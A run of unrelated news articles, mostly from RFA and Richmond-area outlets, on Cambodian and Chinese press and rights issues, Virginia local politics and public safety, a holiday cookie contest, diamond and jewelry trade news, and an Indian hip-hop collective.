Chea Mony said he was also not concerned for his safety, despite noticing that people wearing civilian clothes  have been observing my residence for a couple of months.



The former union leaders brother Chea Vichea, who founded the FTUWKC, was shot dead in 2004 while reading a newspaper at a kiosk in the capital Phnom Penh, and his killers have yet to be brought to justice.



Chea Mony has routinely spoken out against Hun Sen's government, warning of "chaos" and "uprisings" since the dissolution of the CNRP, and slammed authorities for failing to find his brother's killers. The FTUWKC, which remains influential among Cambodia's workers, has been listed as one of 11 "opposition" trade unions that favors the CNRP by the Cambodian National Police General Commissariat as part of its diagram outlining the alleged plot to topple the government.



Groundless lawsuit



Executive Director of the Center for Alliance of Labor and Human Rights (CENTRAL) Moeun Tola, who monitors labor and worker rights in Cambodia, told RFA Tuesday that he considers the lawsuit against Chea Mony groundless and suggested it would further deteriorate freedom of expression in the country.



The international community will still see that the current political crisis, the devolution of democracy and human rights violations in Cambodia, are very serious issues, he said.



Therefore, they will [continue] to come up with various forms of pressure to make Cambodia return to the democracy track.



Moeun Tola disagreed that Chea Monys comments would have had any bearing on whether the international community decides to pursue sanctions against Cambodia.



Even if Chea Mony hadnt said that, the international community would still take action, he said.



Should the court dare take action, it will be like throwing fuel on fire!



Last week, the U.S. and EU said they plan to compile lists of individuals who spearheaded the dissolution of the opposition and other rights violations in Cambodia, with a view of leveling sanctions against them, and have pledged to review trade agreements with the country.



Both the U.S. and EU have also announced that they are withdrawing funding of the election next year, and Washington recently placed visa restrictions on individuals responsible for undermining Cambodian democracy in response to the arrest of Kem Sokha and the dissolution of the CNRP.



Hun Sen has encouraged the U.S. and EU to level sanctions against Cambodia, saying his country will not accept interference in its internal affairs.



But while Hun Sen has suggested sanctions would do little to affect him or his government, union leaders have expressed concerns that the prime minister was playing a dangerous game with Cambodias U.S. $7 billion garment industry, which enjoys the benefits of preferential trade status with the U.S. and EU. The EU alone accounts for around 40 percent of Cambodias exports.



Cambodia is home to some 740,000 garment and footwear workers, who produce goods for global brands such as Marks & Spencer, H&M, and Adidas. They make up a significant portion of the countrys 8.3 million registered voters, and Hun Sen has been visiting factories regularly in recent weeks to gain their support in the lead up to the July ballot.



The Phnom Penh Post recently cited a leaked letter, dated Dec. 4, in which Commerce Minister Pan Sorasak informed Hun Sen that removal of trade preferences would incur a U.S. $676 million tariff cost based on the $6.2 billion in exports to the EU in 2016. Suspension of preferential access to the U.S. market for certain goods would incur a U.S. $10 million bill, he added.



Reported by RFAs Khmer Service. Translated by Sovannarith Keo. Written in English by Joshua Lipes.
Macau, a former Portuguese-administered city that returned to Chinese rule in 1999, has denied entry to another pro-democracy politician from Hong Kong, while announcing plans to set up a branch of the Beijing-backed Confucius Institute at a key university, underlining the ruling Chinese Communist Party's growing influence there.



Caspar Wong, vice chairman of political party Third Side, has demanded an explanation from Macau authorities after he was turned away by immigration officers on an attempted visit to attend a financial forum.



"I think the main reason was my background as a member of a student association and a political party," Wong told RFA on . "I have also made certain sensitive comments in public in Hong Kong."



Wong said he has previously called on Beijing to overturn the official verdict on the student-led pro-democracy movement of 1989, which occupied Tiananmen Square for several weeks and ended in an armed crackdown by the People's Liberation Army and large loss of life.



The Chinese government styled the movement a "counterrevolutionary rebellion," and has repeatedly ignored calls for redress from the relatives of those killed by the army on .



Wong said his party is a moderate political group, however.



"We want to use peaceful, rational communication to solve problems, and nothing I said was particularly radical or extreme," he said. "I think a lot of people are worried that the central government is calling the shots when it comes to Macau."



"To judge from what happened in my case , even the Third Side are being seen as the opposition, or as people who could endanger stability in Macau," Wong said.



Several pro-democracy politicians have been refused entry into Macau in recent months, usually with the same reference to "security."



Security threat cited

Democratic Party lawmaker and Polytechnic University lecturer Helena Wong said she was denied permission to enter Macau in August, en route to attend an exchange visit at the University of Macau, because she "posed a threat to the internal security and stability" of the city.



"The Macau authorities should give a public explanation of the evidence on which they base their decisions, so that their methods can be checked and debated," she said. "



Recent opinion polls have shown a marked decrease in public satisfaction with the performance of the Macau government, in particular with its record on improvement residents' standard of living and quality of life.



An employee who answered the phone at the office of the Macau government spokesperson said only written interview requests would be accepted.



Wong's refusal of entry came as the University of Macau announced it would set up a Confucius Institute, generally regarded as a key vehicle of Chinese "soft power" overseas.



The move is a response to the Macau governments support for President Xi Jinping's Belt and Road initiative, colloquially known as the new Silk Road.



The university said the institute would seek to turn the Cantonese-speaking city into an international hub of Chinese language learning for other countries, particularly Portuguese-speaking countries, the university said in a statement.



Courses in Chinese as a foreign language, offered by the Department of Chinese Language and Literature, will make up the core of the programs offered by the institute, it said.

Softer face of party propaganda



Choi Chi U, lecturer at the University of Macau, said Confucius Institutes are generally regarded as the softer face of the ruling Chinese Communist Party's overseas propaganda activities.



"The Confucius Institutes have always had a strongly political flavor in their work. That is indisputable," Choi told RFA. "They are part of China's rise as a great power."



"They certainly seem to have more to do with politics than they do with promoting Confucianism," he said.



He said the arrival of a Confucius Institute in Macau is intended as a reward to the city for its loyalty to Beijing's line on international affairs.



Once lauded as the jewel in the crown of China's "soft power" cultural diplomacy, Confucius Institutes have sprung up at hundreds of colleges and teaching institutions around the world, drawing criticisms from academics that they are also used as a base to preach the Chinese Communist Party's official political line beyond its borders.



The American Association of University Professors (AAUP) has pointed out that the institutes are essentially an arm of the Chinese state, and that agreements signed with U.S. universities contained nondisclosure clauses and "unacceptable concessions to the political aims and practices of the government of China."



Confucius Institutes may appear at first glance to resemble the British Council, the Goethe Institut or the Alliance Franaise, but their potential threat to academic freedom lies specifically in the fact that they base themselves out of universities, the AAUP said.



Politically sensitive topics like the Cultural Revolution (1966-1976), the 1989 Tiananmen Square massacre, the banned Falun Gong spiritual movement and the anti-rightist campaigns of the 1950s are all off-limits in Confucius Institute classrooms, critics have said.



Retired Shandong University lecturer Wenguang said the teachers and the study materials at Confucius Institutes are all supplied by the Chinese government.



"They have been designed specially as part of a unified entity by mainland China," said. "The teachers are all posted overseas by the government, and they use this model to propagate communist ideology."



"In China, a lot of educational institutions are setting up research institutes for the study of Xi Jinping Thought right now, so who's to say that we won't be seeing such institutions pop up in Hong Kong or Macau in the future?" he said.



Reported by Wen Yuqing for RFA's Cantonese Service, and by Gao Feng for the Mandarin Service. Translated and edited by Luisetta Mudie.
UPDATED at 5:45 P.M. EST on 2017-12-19



Despite hopes for greater press freedoms in Myanmar under civilian rule, news outlets continue to self-censor reports in deference to the countrys powerful military, media watchdog Reporters Without Borders (RSF) said in an annual report released on Tuesday.



Cambodia meanwhile dropped four places to 132 in RSFs 180-nation ranking this year, while China and Vietnam remained close to the bottom at 176 and 175, respectively, the groups 2017 World Press Freedom Index said.



In formerly military-ruled Myanmar, the formation of a civilian government led by Aung San Suu Kyi raised hopes of a significant improvement in respect for media freedom, but, in practice, little progress has been seen, RSF said in its report.



Media freedom unfortunately does not have a place amongst the new governments priorities, RSF said, adding that Myanmar has dropped four spots in its ranking to 131 from a rank of 128 last year.



Reporting on government officials and military leaders is routinely blocked by self-censorship, with authorities sometimes pressuring news outlets, or even intervening directly, to shape coverage of sensitive issues, the rights group said.



Press access has also been restricted in conflict-hit Rakhine state, where clashes with Muslim militants and reported atrocities by government troops have driven hundreds of thousands of Myanmar's stateless Rohingya minority group as refugees into neighboring Bangladesh, RSF said in its report.



Meanwhile, in December, two journalists working for the Reuters news service, Kyaw Soe Oo and Thet Oo Maung, were arrested after being found in possession of what the government called important security documents describing military operations in Rakhine.



The pair now face a possible sentence of up to 14 years in prison under the countrys Official Secrets Act.



Radio stations closed



In Cambodia, recent moves by Prime Minister Hun Sen and his ruling Cambodian Peoples Party to destroy his political opposition before national elections next year have led to the closing of independent radio stations, including the Phnom Penh office of Radio Free Asia, with the rest of the countrys media put under close watch, RSF said.



Journalists can pay a high price for covering illegal logging or trafficking in fish or other resources, RSF said, adding that defamation and destroying the countrys image are the charges most often brought against reporters offending powerful government-linked figures.



On Sept. 4, the English-language Cambodia Daily newspaper, a frequent government critic, was forced to close after being hit with a sudden demand for payment of U.S. $6.3 million dollars in alleged back taxes, RSF said.



And on Nov. 14, former RFA journalists Uon Chhin and Yeang Sothearin were arrested in Phnom Penh on suspicion of attempting to transmit news reports to RFA after its office in Phnom Penh was closed. They were later charged with collecting information for a foreign source.



May Tithara, editor-in-chief of the Khmer Times, told RFAs Khmer Service on Tuesday that the situation facing Cambodian journalists is alarming, due to severe restrictions from the government and an environment that inhibits unbiased reporting.



Sources regularly decline to comment because they fear lawsuits from the government and powerful officials, he said, adding that journalists are routinely denied credentials from the Ministry of Information, making it hard for them to carry out their work.



In 2017, journalists in Cambodia were subject to serious pressure  [and] found it difficult to write well balanced news reports, he said.



We used to take pride that, within ASEAN, our country enjoyed great freedom of the press, but now  we are facing further restrictions. Some [government] officials dare not talk with us, and even say they cannot speak with certain media organizations  I call on them to open their minds and comment to all media organizations, without placing restrictions on themselves.



China and Vietnam



In China and Vietnam, both stalled near the very bottom of RSFs annual ranking, authorities arrested bloggers and citizen-journalists, often on charges brought under vaguely worded laws, RSF said in its report.



More than 100 are now being held by China, RSF said, calling China now the worlds biggest prison for journalists and civil rights activists.



In December, police in Beijing detained citizen-journalist Hua Yong for three days after he posted videos showing the mass eviction of migrant workers in the city, images of what anyone who was there could see, RSF said.



Also this month, Chinese plainclothes security officers punched and kicked South Korean journalists, part of an official delegation, trying to cover the visit to China of the South Korean president.



Chinese state propaganda openly portrays foreign journalists as enemies so it is no surprise that security agents felt hostility towards them and even felt they could act with impunity, RSF noted in a quote from its East Asia bureau chief Cedric Alviani.



Meanwhile, in Vietnam, the only sources of independently-reported information are bloggers and citizen journalists, who are subjected to harsh forms of persecution including violence by plainclothes policemen, RSF said in its report.



To justify jailing them, the [ruling Communist] Party is increasingly resorting to articles 88, 79, and 258 of the criminal code, under which anti-state propaganda, activities aimed at overthrowing the government and abusing the rights to freedom and democracy to threaten the interests of the state are punishable by long prison terms.



On Dec. 14, the European Parliament in an emergency resolution condemned Vietnams suppression of press freedoms, calling for the release of all citizens detained for peacefully exercising their freedom of expression.



Reported by Richard Finney and RFA's Khmer Service. Translated by Sovannarith Keo.
Chinese authorities in the northwestern region of Xinjiang have detained five ethnic minority Kazakhs for disseminating "terrorist audio and video" online.



A 37-year old Kazakh from Shihezi city, under the Xinjiang Production and Construction Corps, surnamed Wu was held under administrative detention on Nov. 1 for possessing "terrorist video" materials on a cell phone, while a Kazakh surnamed Zhu, 31, was held in the seat of Kumul (in Chinese, Hami) prefecture on Nov. 6 for "making comments that promote ethnic divisions," the regional branch of the Cyberspace Administration said in a statement on Monday.



A Kazakh identified only as A, age 26, and a Kazakh surnamed Ye, 36, were both detained in Sanji (Changji) city, in Changji Hui Autonomous Prefecture, under administrative sentences, which can be handed down by police for up to 15 days without a trial, for "incitement to ethnic hatred" with comments on WeChat.



And a Kazakh surnamed Tuo, 26, from Altay (Aletai) prefecture was detained on identical charges over comments posted on WeChat.



Regional officials recently investigated 10 similar cases in which suspects were detained for "promoting, storing and disseminating text, images, audio and video related to terrorist violence, religious extremism, ethnic separatism and false rumors," the Cyberspace Administration said.



"Police have investigated and punished the relevant personnel in accordance with the law," it said.



Six Uyghurs were also detained on similar charges, apparently included from an earlier statement from the Cyberspace Administration that was reported by RFA in November.



Beijing blames some Uyghurs for a string of violent attacks and clashes in China in recent years, but critics say the government has exaggerated the threat from the ethnic group, and that repressive domestic policies are responsible for violence that has left hundreds dead since 2009.



China regularly conducts strike hard campaigns in Xinjiang, including police raids on Uyghur households, restrictions on Islamic practices, and curbs on the culture and language of the Uyghur people.



The government has detained large numbers of Uyghurs, Kazakhs and other ethnic minorities simply for posting religious videos not approved by officials, or for possessing Qurans, prayer mats and traditional clothing, all of which have been described as evidence of "extremism" by Chinese police in recent months.



Sources estimate that Chinese authorities in Xinjiang have detained hundreds of ethnic Kazakhs in recent months, freezing their bank accounts and assets pending "investigation," also for extremist behavior that includes normal Islamic practices.



'Monopoly on information'



Dilxat Raxit, spokesman for the World Uyghur Congress exile group, said the aim of the anti-terror campaign appears to be to frighten ethnic minority groups away from using the internet at all.



"The Chinese government is using oppressive methods such as detention, arrest and other punishments to frighten Uyghurs away from the internet," Raxit said. "Their aim is to achieve a total government monopoly on the flow of information."



"At the same time, they are using these detentions as a form of high-profile propaganda to scare people away from using the internet to protect their legitimate rights," he said.



Local sources told RFA that many more people have been detained than has been reported by official news outlets.



Both Kazakhs and ethnic minority Uyghurs are being detained in political study centers in unprecedented numbers across the region.



The camps are formally known as "Professional Education Schools," and are renamed versions of the "Counter-extremism Training Schools," that once dotted the region, sources have told RFA's Uyghur Service.



The camps are in operation throughout Xinjiang and contain detainees from the Uyghur, Kyrgyz and Kazakh communitiesall Turkic-speaking, mostly Muslim minorities in Chinaunder policies introduced by hardline Xinjiang Communist Party Secretary Chen Quanguo, sources have said.



Last month, Chinese authorities in Burultokay (Fuhai) county in Xinjiang's Altay prefecture, handed down a 16-and-a-half-year jail term to ethnic Kazakh official Manat Hamit on ethnic hatred charges, after finding audio files of Quranic recitations on his computer in April.



He was initially accused of "disseminating terrorism-related audiovisual material," and "incitement to racial hatred and to racial discrimination."



Reported by Qiao Long for RFA's Mandarin Service. Translated and edited by Luisetta Mudie.
The chartreuse KitchenAid stand mixer on Alex Earlys kitchen counter has tales to tell, if only it could talk. Showing its age gracefully, its made two trans-Atlantic trips in its lifetime  first from the U.S. to Belgium in the 1960s and then back again to the U.S. in 2011  and through it all, still purrs on command to this day.

The mixer belonged to Earlys mother, and while in their home in Belgium decades ago, it ran on a transformer, Early said last week. She explained that in a place where boulangeries and patisseries populated nearly every street corner, the need for homemade baked goods didnt exist  so neither did the appliances or the power to support them.

But her mother insisted on baking anyway and, in doing so, passed along way more than just recipes to her daughter.

Early, of Mechanicsville, is the winner of this years A Taste of Richmond Holiday Cookie Contest, sponsored by the Richmond Times-Dispatch. Her tri-colored and -flavored Neapolitan Delight Cookies earned nearly 200 of the 562 votes submitted. Its a simple cookie dough split three ways, to which dried cherries, chocolate chips and coconut are added, then layered together and chilled until baking. For her efforts, Early wins a $500 Publix gift card.

Inside her home last week, as the smell of fresh lemon and cardamom scones wafted about, Early said the inspiration for her winning cookie came from, of all places, the ice cream aisle at the grocery store. Catching a glimpse of Neapolitan ice cream, which features chocolate, vanilla and strawberry flavors together in one carton, Early envisioned a rectangular cookie, and as an homage to that ice cream, these (cookies) look like little, teeny slices of it.

She also makes variations of the cherry layer by using freeze-dried strawberries for both color and flavor.

All of this from a woman who says savory cooking  more than baking, she admits  is her forte.

Because of the availability of freshly made goods on nearly every street corner when she was a child, baking wasnt a priority, and its not something parents encouraged, she said.

Now cooking, thats a different matter  everybody cooked, she added.

The hearty soups of leeks and tomato and vegetables that Early makes now are reminiscent of those from her childhood in Belgium. She explained that children would walk home from school for lunch, and you would walk down the street and smell the soups that all of the moms were making.

Shes having a meatball party in the near future  its another of her specialties, she said, though while shes quick to point out that theres nothing special about her meatballs, she recommends both fresh and ground fennel seeds to add zest.

Early came to the United States in 1976 to study engineering, and from there, she went on to work throughout the country in digital signal processing and chemistry-related applications and telecommunications. She moved to Richmond in 2004 and, after a number of layoffs from various companies, went back to school to study chemistry, anatomy and human nutrition at Virginia State University.

With an analytic mind and deft at research, Early said she wanted to study food and nutrition at a micro level. Specifically, Early said shes fascinated by making connections between certain foods and their impact on fighting cancers, for example. She also earned a pastry arts certificate from J. Sargeant Reynolds Community College in May.

In addition to all of that and raising a high school junior, Early works at the Atlee branch of the Pamunkey Regional Library. Shes the principal bassist for the Richmond Concert Band  which is a running joke, she says, because shes the only bassist  though shes also been known to pick up the trombone and play R&B gigs around town.

Her cozy home is filled with artwork, sketches and drawings and paintings, most of which shes done herself. She also sketches and designs her own Christmas cards  this years feature her two cats atop a stack of books.

But traditions are never far from Earlys daily life. Soon shell start up that beloved stand mixer and set to work making her mothers Christmas morning coffee cake, a recipe handed down that includes sour cream and lots of cinnamon. Shell also make cougnou, a yeasty bread thats shaped like a swaddled baby Jesus, and as traditions go in Belgium, it is meant to be placed at the foot of a childs bed on Christmas morning.

Some families also use the bread on Christmas Day as part of games, but we dont do that, Early said with a smile. We just eat them.
Petersburgs newly elected treasurer will be arriving in office with more powers than he thought he would have.

City Council members recently reversed course on supporting a measure to strip power from the Treasurers Office, which some faulted for contributing to the citys near financial collapse.

By a 5-1 vote last week, council members removed a request in their legislative agenda for state lawmakers to change the citys charter to transfer the most critical duties of the Treasurers Office to a newly created role of city collector, which falls under the councils control.

The legislative agenda is a wish list localities send to their representatives ahead of the next General Assembly session. Council members had voted 5-2 in early November to include the measure to strip some of the treasurers duties on the legislative agenda, but then removed the language in the 6-1 vote Dec. 12.

The move to strip power from the office came the same month that voters elected a former city councilman to the office of treasurer, and detractors criticized the councils move as disrespectful to voters. It also concerned Democratic state Sen. Rosalyn R. Dance, who represents Petersburg. Dance said the newly elected treasurer hadnt yet had his first day in office.

Former Councilman and Treasurer-elect Kenneth Pritchett said Tuesday that he wanted what is best for the city of Petersburg and Ill work toward that end.

Councilman Darrin Hill said he had supported weakening the authority of the treasurers office, until a City Council meeting Nov. 21 where Pritchett expressed his desire to cooperate with the city administration.

He was voted in by the people overwhelmingly, Hill said Tuesday. He came to City Council and said he was willing to work with the administration. The previous treasurer in the past may not have worked with the administration, but this one said he is willing to work with us.

Hill said he would be looking for more communication from the Treasurers Office, and was optimistic that the split duties between the city collectors office and the treasurer will allow for more oversight on both ends. Aretha Ferrell-Benavides has been named the citys collector in addition to her role as city manager.

The ultimate goal is to collect more money and give customer service that we definitely need, Hill said. We look forward to the future and there is light at the end of the tunnel.

Pritchett said he is meeting with the city administration later this week to finalize the details over how the duties will be split.

Turnaround specialists from a Washington, D.C.-based consulting company, the Robert Bobb Group, who were hired to pull Petersburg from the brink of financial ruin, supported transferring some of the duties of the treasurer to the city collector position earlier this year to help the city improve its tax collection rate.

In Petersburg, we are coming out of the worst financial crisis in the history of the city. At this time, Im thinking the most out of the box of how government should function. I feel like the city of Petersburg is in no financial shape to put the $100 million machine to a person who is walking off the street, said Mayor Samuel Parham, who cast the lone dissenting vote to change the legislative agenda on Dec. 12.

Petersburg began the 2017 fiscal year $19 million in arrears and $12 million over budget. The council raised taxes, slashed more than $3 million in funding from the citys chronically underperforming schools, axed a popular youth summer program and shuttered cultural sites.

Then in late September, an accounting firms long-anticipated 115-page report scrutinizing eight specific aspects of city governance contained allegations of theft involving current Treasurer Kevin Brown.

Brown has denied these allegations repeatedly and said his decision not to seek re-election was due to health reasons. City spokeswoman Folakemi O. Osoba said Tuesday that as far as she knows, no criminal charges have been filed against Brown.

Pritchett won by a large margin, capturing just over 70 percent of the vote, against Browns wife in the race for treasurer.

Because we have a former city councilman running through the door, politically they want us to turn down the volume of what has been happening in the city, Parham said. I feel like politically everyone wants us now to not be as aggressive because things are getting better. If people look to me to be in charge of this, I feel like council should be steering that whole financial arm of the city.

The city did receive some good financial news recently. Audited reports showed a boost in the citys reserve funds, increased revenue and a drop in expenditures. Elected leaders are seizing on the $7 million in the citys chief operating fund, which the mayor said has long operated at a deficit.
Virginia State Police Superintendent W. Steven Flaherty will retire early next year after 14 years as one of the states top law enforcement officials, Gov.-elect Ralph Northam announced Tuesday.

Lt. Col. Gary T. Settle, a former Rappahannock County sheriff who currently oversees the state police Bureau of Criminal Investigations, will replace Flaherty when his retirement takes effect Feb. 1.

Flahertys retirement comes weeks after a scathing report commissioned by the city of Charlottesville that found widespread law enforcement failures as city and state officials responded to a series of white nationalist rallies over the summer. Charlottesville Police Chief Al Thomas, who came under heavy criticism for his handling of the rally near a Confederate statue in downtown Charlottesville, abruptly retired from his post Monday.

Northam also announced that current Secretary of Public Safety and Homeland Security Brian J. Moran will continue in that role in the new administration. Moran also played a role in the preparations for the violent Aug. 12 rally in Charlottesville, as well as a smaller, more tightly managed Confederate statue protest on Richmonds Monument Avenue in September.

During a news conference at a Richmond fire station, Flaherty said his departure was unrelated to the events in Charlottesville, but was something he and his family had been planning for a long time.

Its just time for me to go, Flaherty said.

During his time in the agencys upper ranks, Flaherty was present at the Pentagon after the Sept. 11 attacks and at Virginia Tech after the 2007 mass shooting, Northam said.

Every now and then a person steps up to serve the commonwealth of Virginia and dedicates their life to public service and to the safety of individuals in our community, Northam said before asking for a round of applause for Flaherty.

Then-Gov. Mark Warner appointed Flaherty as superintendent in 2003, capping off a career with the state police that began in 1975.

Flaherty said he suggested it was time for him to go during meetings with Northams transition team. Asked what he intends to do next, Flaherty said he plans to rest up at his Caroline County farm.

Im elated that Colonel Settle is going to be my replacement, Flaherty said in an interview. He actually was a trooper-trainee when I was a sergeant at the academy. So Ive known him his entire career.

Settle said of Flaherty: I would be naive to say that I wouldnt try to mimic some of the leadership qualities that he has.

According to a bio released by the Northam transition team, Settle began his law enforcement career in 1984 as a Rappahannock sheriffs deputy. He joined the state police two years later, but returned to local law enforcement in 1996 when he was elected sheriff in his home county. He returned to the state police in 2000. In January of this year, he was named director of the state police bureau that oversees all criminal investigations.

The challenges facing the state agency as a whole, Settle said, are making sure law enforcement personnel have the right equipment and technology and building on relationships with federal and local counterparts.

Were in global policing now, Settle said. Its not necessarily community-specific policing, a region or what have you. Its not necessarily even Virginia. Its very global.

While the bulk of criticism for the botched response to the protest in Charlottesville has been directed at local police commanders, state police have not escaped scrutiny.

The city-commissioned report released this month by former federal prosecutor Timothy Heaphy faulted the agency for failing to adequately coordinate its response with local police, and, among other things, inaction in the face of violence. The violence culminated with a car driven by an alleged white nationalist plowing into a crowd of people on Charlottesvilles Downtown Mall, killing 32-year-old activist Heather Heyer.

State police refused to turn over a wide array of documents for the city-commissioned report, and Heaphy was unable to obtain the records under the states Freedom of Information Act.

Settle said he would reserve comment on the Charlottesville findings until the state police finish their own ongoing review.

Its very robust and in-depth and getting down into the weeds, Settle said.

Asked for his thoughts on the reports detailing what happened in Charlottesville, Northam said there were lessons learned about how to prevent similar tragedies.

As I said earlier, we just want to make sure that we can make Virginia as safe as we can and prevent a horrific tragedy like what happened in Charlottesville from ever happening again, Northam said.

Rounding out his public safety team, Northam announced that Harold W. Clarke will stay on as director of the Virginia Department of Corrections and Andrew K. Block Jr. will continue to serve as director of the Virginia Department of Juvenile Justice.

Northam named Michael T. Reilly, a former deputy chief with the Fairfax County Fire and Rescue Department, as executive director of the Virginia Department of Fire Programs.
Is violent crime in Richmond as bad as in Chicago? No.

Its actually worse. And getting more so.

Back in February, we noted a grim statistic: Richmonds homicide rate is higher than Chicagos, even though the Windy City gets much more attention for its violence.

Chicago suffered 762 homicides last year, which works out to 28 murders for every 100,000 residents. Richmond had 61 slayings, which works out to 28.5 murders for every 100,000 residents.

Last year was Richmonds worst homicide year in a decade, but this year already has seen 63 slayings  two more than last year.

And Chicago? As of mid-December its homicide total had dropped to 653  a 14 percent decline.

City officials credit smart policing and good policies when crime goes down. Theyre less quick to shoulder the blame when it goes up. The hard truth is that moving the trend line on violent crime is tough to do. If it were easy, everyone would do it, and all the streets would be safe. As Commonwealth's Attorney Michael Herring put it the other day, The police department is doing all that it can, but random violence is almost impossible to prevent.
Charlottesville City Attorney Craig Brown will leave his post at the end of January, according to a Tuesday news release from the city.

In an interview, Brown said the recent series of white nationalist rallies that have roiled the city were not a motivating factor for his departure, which he said he has been mulling over since he notched 30 years in the City Attorneys Office in 2015.

Brown, who joined the office in 1985 and was promoted to city attorney in 2001, is leaving to pursue another opportunity, the release said.

Manassas officials announced Tuesday that Brown has been hired as city attorney of the municipality of about 38,000. He will be paid $175,000 a year when he takes office on Feb. 20, officials said.

According to information provided by Charlottesville officials in October, Browns current salary is $173,000.

Brown said he applied for the position in the Northern Virginia city this past fall and notified the City Council in closed session on Monday evening of his decision to take the post.

I really started this process before the past summer, Brown said of looking for career opportunities elsewhere.

While the frustration and turmoil over the white nationalist rally and its fallout were not a deciding factor for the move, Brown said, it has been an undeniable burden on him and other city officials.

Does it make it easier to leave? Probably so, but its not the motivating factor, he said.

Browns announcement came within a day of former Charlottesville Police Chief Al Thomas announcing his immediate retirement in the wake of the release of a third-party report that asserted he and other local and state officials mishandled the Aug. 12 Unite the Right rally.

Brown said Deputy City Attorney Lisa Robertson, who has worked in the office for 15 years, is expected to serve in the interim after Brown leaves.

A position left behind by recent departure of former Assistant City Attorney Andrew Gore, who now has a similar role for the city of Richmond, remains vacant. Brown said his office has completed two rounds of candidate interviews and that he will provide input on who should succeed Gore.

Despite the vacancy and Browns imminent departure, Robertson said she isnt concerned about the offices workload.

Well be fine, she said. We work cooperatively with the other city departments and will continue doing that.

Robertson also praised Brown for his years of service to the city.

Hes such a great person. Hes a great attorney. Its been a privilege to work with him and well miss him a lot, she said.

Craig Brown is one of the most dedicated local government employees I have encountered during my 16 years of public service, City Manager Maurice Jones said in the release. His professionalism, ethics and commitment to the law during the last 32 years have been major factors in the successful implementation of countless programs, policies and agreements that have positively impacted this community.

The city said it will begin a search for the next city attorney immediately. Brown said the city manager is responsible for hiring a new city attorney and police chief, but the City Council will have an opportunity to confirm the hires.
Fancy color diamond prices up 1% in Q3 2022, yellow showed highest increase The Fancy Color Research Foundation's (FCRF) results of the Fancy Color Diamond Index (FCDI) for the third quarter of 2022 demonstrate that after an increase of 0.8% in Q2 2022, the average price of all colors and sizes of fancy...

NDC continues efforts to distinguish between natural, laboratory-grown diamonds The Natural Diamond Council (NDC) has launched a new ASSURE 2.0 online portal, which helps build industry capability to correctly verify natural diamonds and ensure pipeline integrity.

Orion secures pre-development funding for Okiep copper project Orion Minerals has entered into definitive agreements that will see the Industrial Development Corporation of South Africa (IDC) acquire 43.75% of the shares in the New Okiep Mining Company (NOM). This triggered pre-development funding...

Angolas SODIAM realises $28,7mln from fifth international diamond tender Angola's state-owned diamond trading company, SODIAM realised $28,7 million from the sale of 1,819.79 carats at its fifth international rough tender held in the capital, Luanda. The diamonds sold were special productions from Lulo, Catoca, and Luele...
Jewelry retailers in the U.S. find it difficult to adapt for the rapidly changing market landscape, according to the Fine Jewelry Industry Consumer and Retail Market Study conducted by Provoke Insights for Jewelers of America (JA). The study surveyed two groups, the retailers and the consumers, The Diamond Loupe reported.

According to the surveyed retailers, of all the challenges identified, their ability to evolve and compete in the rapidly changing retail landscape seems to be the most daunting. Those who have an ecommerce site, need to strengthen their in-store experience with well-trained, knowledgeable sales personnel and exemplary customer service.

Meanwhile, the study showed that consumers prefer seeing a piece of fine jewelry in-store prior to making a purchase, even if their initial research is conducted online.

For consumers, seeing is believing, and they still rely on the expertise and knowledge of their jeweler, said David Bonaparte, CEO of JA. The jewelry shopping experience is different from other luxury purchases, and even in the rise of e-commerce, customers increasingly prioritize the in-store shopping experience.

Moreover, people are getting engaged and married at a later stage in their life, or not at all, so retailers should rethink their strategy for marketing this sparkling product as something exclusively related to a romantic relationship.

The study suggests that jewelry retailers should be marketing their products throughout the year rather than focusing their efforts on holidays such as Christmas, Valentines Day or Mothers Day. According to the survey 43% of the respondents purchased or received jewelry as a gift in the last year, while 22% bought jewelry for themselves.

As the survey says: Focusing marketing efforts outside of major gift-giving holidays is more economical because of off-peak media costs. It can be easier to get ones promotion or message heard by consumers when they are not inundated with holiday promotions.




This year has been a "stellar" one for Christies jewelry sales with the total sales value amounting to $556.7 million, the auction house said.

According to Christies, this year's results were achieved thanks to several new world records for its jewellery auction sales.

"Nine new world record prices were achieved at our sales worldwide driven by intense competition from collectors who bid at the highest levels for important diamonds, rare gems and jewels, and superb objects," said Rahul Kadakia, International Head of Jewelry at Christies.

From the historic sale of The Rockefeller Emerald to Le Grand Mazarin, and from de Grisogonos 163.41 carat D Flawless diamond to the Pink Promise, 2017 has been a stellar year for jewelry at Christies."

Christies offers around 350 auctions annually in over 80 categories, including all areas of fine and decorative arts, jewellery, photographs, collectibles, wine, and more. Its global auction, private and digital sales totalled $3 billion in first half of 2017.

"We also saw immense growth in our Online sales which encouraged clients to enjoy the auction experience at all price points. As we move into 2018, our global team of jewelry specialists look forward to bringing to market the very best jewels for our clients, Kadakia added.




Features

FTS Elementries feel the biggest reason behind the birth of the collective revolves around the four musicians' mild dissociation with the 'hip-hop scene'.

Beyond the 2017 narrative that hip-hop in India has witnessed "an immense rise this year" lies an extremely basic truth. The consistency of 'collectives' feeding the rather welcoming and wide fanbases across India provided a necessary boost to the narrative. Traditionally focusing on a particular genre and crowd, the venues and promoters were dragged out of their oblivion, thanks to the efforts from The Hip Hop Movement, the drive from desi hip-hop websites and collectives like FTS Elementries.

The FTS Elementries collective, boasting the average age of 20, performed at Rock Street Journal's recent outing in Bonobo, Bandra and opened for Delhi-based IJA (who executed their first ever Bonobo set too). The four-piece collective, featuring Rayson4 7 and Tienas (the duo calls themselves 'FTS' - not to be confused with FTS Elementries) and Prophets featuring Quest and Nuke, was formed exactly a year ago. Hence, the evident rawness in their approach coupled by the sheer urge to create something that the rappers around them have failed to, clearly found space in their Saturday night's performance.

"I want to kill myself before every performance," confesses Tienas on pre-performance anxiety. But none of that nervousness travels with him on the stage. The rapper, barring the rare attempts to connect with the crowd, prefers to communicate largely with his collective in order to fight the anxiety. These communications often extend to on-stage banter and inside jokes, but the other rappers - especially Rayson4 7 - follow the opposite approach. Despite the differences in their presentation of the art that they find themselves profoundly obsessing about, FTS Elementries feel the biggest reason behind the birth of the collective revolves around the four musicians' mild dissociation with the 'hip-hop scene' (In fact, one of their songs strongly reflect the same mood).

